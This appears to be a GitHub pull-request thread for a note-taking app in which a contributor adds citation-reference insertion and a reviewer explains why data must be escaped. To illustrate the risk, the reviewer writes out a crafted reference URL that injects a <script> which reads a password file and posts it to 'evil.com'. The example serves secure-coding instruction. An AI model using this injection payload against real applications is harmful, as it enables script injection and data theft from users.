Insert selected reference into the note content

[xUser5000]

What has been done

• Enable the user to select a reference from the citation popup by clicking.
• Abstract the styling into a separate file: view.css
• Add the method getReferenceById() in the Data Store class
• Format reference objects into valid markdown URLs using a utility formatReference
• Insert the selected reference into the note content

Screenshots

A slight dark background appears on the selected reference and a darker one appears when hovering.

References after being added to the note content.

Demo

[laurent22]

To give you an example why escaping data is important, imagine the following scenario:

• Alice gives a list of references to Bob.
• Bob loads the references in Joplin.
• Little did he know, Alice set the URLs of all the references to this: )<script>const passwords = await fetch('file://etc/paswd'); await fetch({ method: 'post', data: passwords, url: 'https://evil.com/mwa-ha-haa.php' })</script>

Now when Bob use one of these references, you code inserts it like this:

[@author]()<script>const passwords = await fetch('file://etc/paswd'); await fetch({ method: 'post', data: passwords, url: 'https://evil.com/mwa-ha-haa.php' })</script>;

So now Bob has injected a malicious script in his note without knowing it. I think in practice this would be blocked in Joplin but it's just an example. Attackers can be very creative and even when you think you've filtered everything correctly they might still find a way around. So a first step against this kind of attack is to be careful with escaping all data.

Of course it's also important from a reliability point of view since even non-malicious data could break if it's not escaped properly, for example if it contains ( or quotes, etc.

[xUser5000]

Thanks for the explanation, I will make sure to read a lot about this topic and fix the bugs.

[xUser5000]

DONE

[xUser5000]

That's good?

[laurent22]

Looks good now, let's merge!